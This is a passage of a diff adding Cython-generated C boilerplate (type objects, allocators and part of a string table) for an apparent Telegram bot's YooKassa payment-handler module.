(p->__pyx_v_amount_str) { + e = (*v)(p->__pyx_v_amount_str, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_event) { + e = (*v)(p->__pyx_v_event, a); if (e) return e; + } + if (p->__pyx_v_payment) { + e = (*v)(p->__pyx_v_payment, a); if (e) return e; + } + if (p->__pyx_v_payment_id) { + e = (*v)(p->__pyx_v_payment_id, a); if (e) return e; + } + if (p->__pyx_v_payment_object) { + e = (*v)(p->__pyx_v_payment_object, a); if (e) return e; + } + if (p->__pyx_v_request) { + e = (*v)(p->__pyx_v_request, a); if (e) return e; + } + if (p->__pyx_v_user_id) { + e = (*v)(p->__pyx_v_user_id, a); if (e) return e; + } + if (p->__pyx_v_user_id_str) { + e = (*v)(p->__pyx_v_user_id_str, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + if (p->__pyx_t_3) { + e = (*v)(p->__pyx_t_3, a); if (e) return e; + } + if (p->__pyx_t_4) { + e = (*v)(p->__pyx_t_4, a); if (e) return e; + } + if (p->__pyx_t_5) { + e = (*v)(p->__pyx_t_5, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook_spec = { + "handlers.payments.yookassa_pay.__pyx_scope_struct_2_yookassa_webhook", + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.yookassa_pay.""__pyx_scope_struct_2_yookassa_webhook", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount[8]; +static int __pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount[--__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount(PyObject *o) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_state); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount)))) { + __pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount[__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount++] = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount_spec = { + "handlers.payments.yookassa_pay.__pyx_scope_struct_3_process_enter_custom_amount", + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.yookassa_pay.""__pyx_scope_struct_3_process_enter_custom_amount", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input[8]; +static int __pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input[--__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input(PyObject *o) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_confirm_keyboard); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_message); + Py_CLEAR(p->__pyx_v_payment); + Py_CLEAR(p->__pyx_v_payment_url); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + Py_CLEAR(p->__pyx_t_3); + Py_CLEAR(p->__pyx_t_4); + Py_CLEAR(p->__pyx_t_5); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input)))) { + __pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input[__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input++] = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *)o; + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_confirm_keyboard) { + e = (*v)(p->__pyx_v_confirm_keyboard, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_message) { + e = (*v)(p->__pyx_v_message, a); if (e) return e; + } + if (p->__pyx_v_payment) { + e = (*v)(p->__pyx_v_payment, a); if (e) return e; + } + if (p->__pyx_v_payment_url) { + e = (*v)(p->__pyx_v_payment_url, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + if (p->__pyx_t_3) { + e = (*v)(p->__pyx_t_3, a); if (e) return e; + } + if (p->__pyx_t_4) { + e = (*v)(p->__pyx_t_4, a); if (e) return e; + } + if (p->__pyx_t_5) { + e = (*v)(p->__pyx_t_5, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input_spec = { + "handlers.payments.yookassa_pay.__pyx_scope_struct_4_process_custom_amount_input", + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.yookassa_pay.""__pyx_scope_struct_4_process_custom_amount_input", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +static PyMethodDef __pyx_methods[] = { + {0, 0, 0, 0} +}; +#ifndef CYTHON_SMALL_CODE +#if defined(__clang__) + #define CYTHON_SMALL_CODE +#elif defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 3)) + #define CYTHON_SMALL_CODE __attribute__((cold)) +#else + #define CYTHON_SMALL_CODE +#endif +#endif +/* #### Code section: pystring_table ### */ + +static int __Pyx_CreateStringTabAndInitStrings(void) { + __Pyx_StringTabEntry __pyx_string_tab[] = { + {&__pyx_kp_u_1_00, __pyx_k_1_00, sizeof(__pyx_k_1_00), 0, 1, 0, 0}, + {&__pyx_kp_u_79000000000, __pyx_k_79000000000, sizeof(__pyx_k_79000000000), 0, 1, 0, 0}, + {&__pyx_kp_u_API_Yookassa, __pyx_k_API_Yookassa, sizeof(__pyx_k_API_Yookassa), 0, 1, 0, 0}, + {&__pyx_kp_u_Account_ID, __pyx_k_Account_ID, sizeof(__pyx_k_Account_ID), 0, 1, 0, 0}, + {&__pyx_n_s_Any, __pyx_k_Any, sizeof(__pyx_k_Any), 0, 0, 1, 1}, + {&__pyx_n_s_Configuration, __pyx_k_Configuration, sizeof(__pyx_k_Configuration), 0, 0, 1, 1}, + {&__pyx_n_s_F, __pyx_k_F, sizeof(__pyx_k_F), 0, 0, 1, 1}, + {&__pyx_n_s_FSMContext, __pyx_k_FSMContext, sizeof(__pyx_k_FSMContext), 0, 0, 1, 1}, + {&__pyx_n_u_HASHHASHYOOKASSA, __pyx_k_HASHHASHYOOKASSA, sizeof(__pyx_k_HASHHASHYOOKASSA), 0, 1, 0, 1}, + {&__pyx_kp_u_ID, __pyx_k_ID, sizeof(__pyx_k_ID), 0, 1, 0, 0}, + {&__pyx_kp_u_ID_2, __pyx_k_ID_2, sizeof(__pyx_k_ID_2), 0, 1, 0, 0}, + {&__pyx_n_s_InlineKeyboardBuilder, __pyx_k_InlineKeyboardBuilder, sizeof(__pyx_k_InlineKeyboardBuilder), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardButton, __pyx_k_InlineKeyboardButton, sizeof(__pyx_k_InlineKeyboardButton), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardMarkup, __pyx_k_InlineKeyboardMarkup, sizeof(__pyx_k_InlineKeyboardMarkup), 0, 0, 1, 1}, + {&__pyx_n_s_MAIN_SECRET, __pyx_k_MAIN_SECRET, sizeof(__pyx_k_MAIN_SECRET), 0, 0, 1, 1}, + {&__pyx_n_s_PAYMENT_OPTIONS, __pyx_k_PAYMENT_OPTIONS, sizeof(__pyx_k_PAYMENT_OPTIONS), 0, 0, 1, 1}, + {&__pyx_n_u_PIRAT4ETO5DLYA0TEBYA, __pyx_k_PIRAT4ETO5DLYA0TEBYA, sizeof(__pyx_k_PIRAT4ETO5DLYA0TEBYA), 0, 1, 0, 1}, + {&__pyx_n_s_Payment, __pyx_k_Payment, sizeof(__pyx_k_Payment), 0, 0, 1, 1}, + {&__pyx_kp_u_Payment_succeeded_for_user_id, __pyx_k_Payment_succeeded_for_user_id, sizeof(__pyx_k_Payment_succeeded_for_user_id), 0, 1, 0, 0}, + {&__pyx_n_u_RUB, __pyx_k_RUB, sizeof(__pyx_k_RUB), 0, 1, 0, 1}, + {&__pyx_n_s_ReplenishBalanceState, __pyx_k_ReplenishBalanceState, sizeof(__pyx_k_ReplenishBalanceState), 0, 0, 1, 1}, + {&__pyx_n_s_Response, __pyx_k_Response, sizeof(__pyx_k_Response), 0, 0, 1, 1}, + {&__pyx_n_s_Router, __pyx_k_Router, sizeof(__pyx_k_Router), 0, 0, 1, 1}, + {&__pyx_kp_u_Secret_Key, __pyx_k_Secret_Key, sizeof(__pyx_k_Secret_Key), 0, 1, 0, 0}, + {&__pyx_n_s_State, __pyx_k_State, sizeof(__pyx_k_State), 0, 0, 1, 1}, + {&__pyx_n_s_StatesGroup, __pyx_k_StatesGroup, sizeof(__pyx_k_StatesGroup), 0, 0, 1, 1}, + {&__pyx_n_s_ValueError, __pyx_k_ValueError, sizeof(__pyx_k_ValueError), 0, 0, 1, 1}, + {&__pyx_kp_u_Webhook_event_received, __pyx_k_Webhook_event_received, sizeof(__pyx_k_Webhook_event_received), 0, 1, 0, 0}, + {&__pyx_n_s_YOOKASSA_ENABLE, __pyx_k_YOOKASSA_ENABLE, sizeof(__pyx_k_YOOKASSA_ENABLE), 0, 0, 1, 1}, + {&__pyx_n_s_YOOKASSA_HASH, __pyx_k_YOOKASSA_HASH, sizeof(__pyx_k_YOOKASSA_HASH), 0, 0, 1, 1}, + 